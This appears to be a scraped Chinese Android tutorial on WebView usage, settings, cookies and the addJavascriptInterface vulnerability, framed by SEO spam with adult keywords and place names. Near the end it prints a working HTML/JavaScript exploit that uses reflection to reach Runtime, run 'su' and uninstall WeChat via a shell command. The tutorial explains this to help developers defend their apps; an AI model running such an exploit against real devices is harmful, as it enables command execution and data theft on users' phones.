国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 系統 > Android > 正文

Android應用開發中WebView的常用方法筆記整理

2019-12-12 06:23:51
字體:
來源:轉載
供稿:網友

基本使用
使用WebView通常是需要網絡的,所以需要加上訪問網絡的權限

<uses-permission android:name="android.permission.INTERNET" />

1.加載某個url的方法

WebView.loadUrl("http://www.baidu.com");

需要注意的是不要省略前面的http://,省略的話,某些ROM中的WebView會加載失敗
2.加載assets中的HTML

WebView.loadUrl("file:///android_asset/xxx.html")

3.加載一段javascript

WebView.loadUrl("javascript:" + ${js_code})

4.為js提供本地方法
如下,提供一個showToast的方法給javascript

private static class JavaJs {  private Context context;  JavaJs(Context context) {    this.context = context;  }  @JavascriptInterface  public void showToast(String str) {    Toast.makeText(context, str, Toast.LENGTH_LONG).show();  }}webView.addJavascriptInterface(new JavaJs(this), "JavaJs");<script type="text/javascript">  JavaJs.showToast("toast from js");</script>

注意:

  • 提供給javascript的方法必需是public的,否則js無法訪問
  • 提供給javascript的方法將會在WebView管理的線程中執行,因此要保證該方法的線程安全性.(Toast是支持在非UI線程中show()的,所以上面的showToast方法是沒問題的)
  • 提供給javascript的方法一定要加上 @JavascriptInterface
  • 在Android 4.2,Api 17之前,javascript可以通過反射java對象,來執行一些危險操作.比如反射取到Runtime,然后執行shell命令
  • 雖然@JavascriptInterface是在Api 17加上的,但是Api 17之前,我們依然建議將提供給javascript的方法加上該annotation.(JSR-175規定,運行時annotation缺失,則直接忽略,而不會拋出ClassNotFoundException)
  • 針對Android 4.2以前的設備,我們建議不要通過addJavascriptInterface向javascript提供方法,并且通過removeJavascriptInterface("searchBoxJavaBridge_")來移除WebView自己添加的java對象.

5.頁面跳轉

webView.setWebViewClient(new WebViewClient() {  @Override  public boolean shouldOverrideUrlLoading(WebView view, String url) {    if (Uri.parse(url).getHost().equals("www.xxx.com")) {      // 自己的頁面,直接使用WebView加載      return false;    }    // 別的公司的頁面,使用瀏覽器打開    Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));    startActivity(intent);    return true;  }});

6.訪問歷史回退

@Overridepublic boolean onKeyDown(int keyCode, KeyEvent event) {  if ((keyCode == KeyEvent.KEYCODE_BACK) && webView.canGoBack()) {    webView.goBack();    return true;  }  return super.onKeyDown(keyCode, event);}

7.在Logcat中輸出javascript的日志信息
重寫WebChromeClient中的onConsoleMessage方法

@Overridepublic boolean onConsoleMessage(ConsoleMessage consoleMessage) {  Log.d("WebView", consoleMessage.message() + " js line: " + consoleMessage.lineNumber());  return true;}

8.支持javascript的警告框 alert
重寫WebChromeClient中的onJsAlert方法

@Overridepublic boolean onJsAlert(WebView view, String url, String message, final JsResult result) {  new AlertDialog.Builder(MainActivity.this)      .setTitle("JsAlert")      .setMessage(message)      .setPositiveButton("OK", new DialogInterface.OnClickListener() {        @Override        public void onClick(DialogInterface dialog, int which) {          result.confirm();        }      })      .setCancelable(false)      .show();  return true;}

9.支持javascript的確認框 confirm
重寫WebChromeClient中的onJsConfirm方法

@Overridepublic boolean onJsConfirm(WebView view, String url, String message, final JsResult result) {  new AlertDialog.Builder(MainActivity.this)      .setTitle("JsConfirm")      .setMessage(message)      .setPositiveButton("OK", new DialogInterface.OnClickListener() {        @Override        public void onClick(DialogInterface dialog, int which) {          result.confirm();        }      })      .setNegativeButton("Cancel", new DialogInterface.OnClickListener() {        @Override        public void onClick(DialogInterface dialog, int which) {          result.cancel();        }      })      .setCancelable(false)      .show();  return true;}

10.支持javascript提問框 prompt
重寫WebChromeClient中的onJsPrompt方法

@Overridepublic boolean onJsPrompt(WebView view, String url, String message, String defaultValue, final JsPromptResult result) {  final EditText et = new EditText(MainActivity.this);  et.setText(defaultValue);  new AlertDialog.Builder(MainActivity.this)      .setTitle(message)      .setView(et)      .setPositiveButton("OK", new DialogInterface.OnClickListener() {        @Override        public void onClick(DialogInterface dialog, int which) {          result.confirm(et.getText().toString());        }      })      .setNegativeButton("Cancel", new DialogInterface.OnClickListener() {        @Override        public void onClick(DialogInterface dialog, int which) {          result.cancel();        }      })      .setCancelable(false)      .show();  return true;}

11.顯示空白頁

WebView.loadUrl("about:blank");//該方法使得WebView只會繪制一個白色背景,并且釋放之前加載頁面時使用的資源,并停止之前javascript的執行

12.清除返回棧 WebView.clearHistory
13.獲得訪問歷史列表 WebView.copyBackForwardList
14.下載 WebView.setDownloadListener
15.pauseTimers, onPause, resumeTimers, onResume

pauseTimers, onPause 停止解析,javascript執行等操作.區別是 onPause 只作用于調用它的WebView,而 pauseTimers 作用于當前應用中所有的WebView
resumeTimers, onResume 恢復解析,javascript執行等操作.區別是 onResume 只作用于調用它的WebView,而 resumeTimers 作用于當前應用中所有的WebView

常用設置
1.安全相關(去掉不必要的JavaBridge)

//這個Java Bridge是WebView自己添加的//在Api 17以前,javascript可以通過java對象進行反射,執行一些不安全的操作webView.removeJavascriptInterface("searchBoxJavaBridge_");

2.js相關

//設置支持javascript,默認是falseWebSettings.setJavaScriptEnabled(true);

3.縮放相關

//使WebView支持通過手勢或者縮放控制器來縮放頁面,默認是true//該設置不影響 WebView.zoomIn()和WebView.zoomOut()WebSettings.setSupportZoom(true);//設置使用默認的縮放控制器,默認是falseWebSettings.setBuiltInZoomControls(true);//不顯示默認的+/-縮放控制View, 默認是trueWebSettings.setDisplayZoomControls(false);加載圖片策略相關//設置是否自動加載圖片,默認是`true`,如果設置為`false`,那么所有圖片都不會被加載,包括本地圖片.WebSettings.setLoadsImagesAutomatically(true);//設置是否阻止加載網絡圖片,默認是`false`,如果設置為`true`,那么網絡圖片將不會加載.(可以先設置為true,然后再設置為false,來加快頁面加載速度)WebSettings.setBlockNetworkImage(false);//設置是否阻止加載網絡資源(不僅僅是圖片),默認是`false`,如果設置為`true`,那么網絡上的js,css,圖片等資源都不會加載WebSettings.setBlockNetworkLoads(false);

4.渲染相關

//設置渲染線程的優先級//該方法在 Api 18之后被廢棄,優先級由WebView自己管理//不過任然建議將其設置為 HIGH,來提高頁面渲染速度WebSettings.setRenderPriority(RenderPriority.HIGH);Viewport相關//設置使用 寬 的Viewpoint,默認是false//Android browser以及chrome for Android的設置是`true`//而WebView的默認設置是`false`//如果設置為`true`,那么網頁的可用寬度為`980px`,并且可以通過 meta data來設置//如果設置為`false`,那么可用區域和WebView的顯示區域有關.WebSettings.setUseWideViewPort(true);//如果webview內容寬度大于顯示區域的寬度,那么將內容縮小,以適應顯示區域的寬度, 默認是falseWebView.setLoadWithOverviewMode(true);<!--如果WebSettings.getUseWideViewPort 是true, 那么可以通過meta來設置 Viewport --><!--例如將其可用寬度設置為 480px, 并且禁用縮放功能--><head>  <meta name="viewport" content="width=480, user-scalable=no" /></head><!--如果WebSettings.getUseWideViewPort 是false, 那么 不能 通過meta來設置-->

其效果類似于:

<meta name="viewport" content="width=device-width"/>

注意: 這里的px和通常說的像素不同,他和dp的概念非常類似. 參見 Mozilla

前端存儲相關設置(方便前端工程師在客戶端存儲數據)

//支持H5的 application cache 的功能WebSettings.setAppCacheEnabled(true);//設置 application cache 的存儲路徑(通常存儲js,css,圖片等)WebSetting.setAppCachePath("xxx");//支持 H5 的session storage和local storageWebSettings.setDomStorageEnabled(true);//支持javascript讀,寫dbWebSettings.setDatabaseEnabled(true);//設置js創建的db文件的路徑, Api 19以后廢棄,直接有webview管理WebSettings.setDatabasePath("xxx");

5.緩存相關設置

//設置加載資源時,如何使用cache//默認設置是:WebSettings.LOAD_DEFAULT//當WebView正常加載一個頁面時,如果緩存命中且沒有過期,則使用緩存數據,否則從網絡加載,當WebView.goBack()時,如果緩存命中,直接使用,不會驗證是否過期//可用的其他設置:LOAD_CACHE_ELSE_NETWORK, LOAD_NO_CACHE, LOAD_CACHE_ONLYWebSettings.setCacheModel(WebSettings.LOAD_DEFAULT);

6.cookie相關

public static void synCookies(Context context, String url) {  CookieManager cookieManager = CookieManager.getInstance();  cookieManager.setAcceptCookie(true);//默認就是true   cookieManager.setCookie(url, cookies);  if(Build.VERSION.SDK_INT < 21) {    CookieSyncManager.createInstance(context).sync();  } else {    cookieManager.flush();  }}


addJavascriptInterface的安全問題
1.為javascript提供native接口的途徑

Android WebView 提供一個addJavascriptInterface方法來為javascript創建一個JavaBridge.
例如給js提供一個showToast的方法:

private static class JavaJs {  private Context context;  JavaJs(Context context) {    this.context = context;  }  @JavascriptInterface  public void showToast(String str) {    Toast.makeText(context, str, Toast.LENGTH_LONG).show();  }}webView.addJavascriptInterface(new JavaJs(this), "JavaJs");<script type="text/javascript">  JavaJs.showToast("toast from js");</script>

2.安全問題

Api 17之前,在WebView為javascript提供了java對象之后, 可以利用javascript代碼調用java的反射Api,進行一些hack操作,導致安全性問題.(<font color=red>注意: </font>低版本的WebView會自己添加一個searchBoxJavaBridge_對象,通常我們需要自己移除)
Api 17之后,WebView會禁止javascript調用沒有添加@JavascriptInterface方法,從而避免上述問題.(<font color=red>注意: </font>推薦大家始終添加@JavascriptInterface,而不用關心Api版本,因為annotation缺失并不會導致ClassNotFoundException,而僅僅是被jvm忽略)
安全問題示例 (通過javascript卸載微信)

通過反射可以干很多事情,比如類似于 UserInfo 這樣的對象,如果他是單例的話,那么很容易可以取到用戶的 用戶名,郵箱,手機號 等信息.
此處展示一個簡單的頁面,當通過WebView打開這個HTML,手機上的微信就會被卸載(當然前提是該app擁有root權限).

<html>  <head>    <script>      function toByteArray(str) {        var ch, stack, result = [];        for(var i = 0; i < str.length; ++i) {          ch = str.charCodeAt(i);          stack = [];          do {            stack.push(ch & 0xFF);            ch = ch >> 8;          } while(ch);          result = result.concat(stack.reverse());        }        return result;      }      function execCmd(outputStream) {        var cmd = "adb shell pm uninstall com.tencent.mm";        outputStream.write(toByteArray(cmd));        outputStream.close();      }      function toString(inputStream) {        var result = "";        var c;        while((c = inputStream.read()) != -1) {          var s = String.fromCharCode(c);          result += s;        }        return result;      }      function hack() {        for(var obj in window) {          if("getClass" in window[obj]) {            console.log(obj);            var runtime = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null);            var p = runtime.exec(["su"]);            execCmd(p.getOutputStream());            alert(toString(p.getInputStream()));            break;          }        }      }      hack();    </script>  </head><body>  卸載微信 :)</body></html>

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 舞阳县| 新化县| 即墨市| 山阳县| 武乡县| 河源市| 杨浦区| 东乌珠穆沁旗| 南岸区| 平罗县| 宜丰县| 安义县| 封开县| 渝北区| 辽宁省| 凤冈县| 淮北市| 克拉玛依市| 运城市| 西平县| 承德市| 巨野县| 宁河县| 清丰县| 加查县| 永和县| 瑞安市| 昭通市| 同心县| 田东县| 澄迈县| 犍为县| 新密市| 高尔夫| 开远市| 永泰县| 丰顺县| 宜良县| 桑日县| 北海市| 于都县|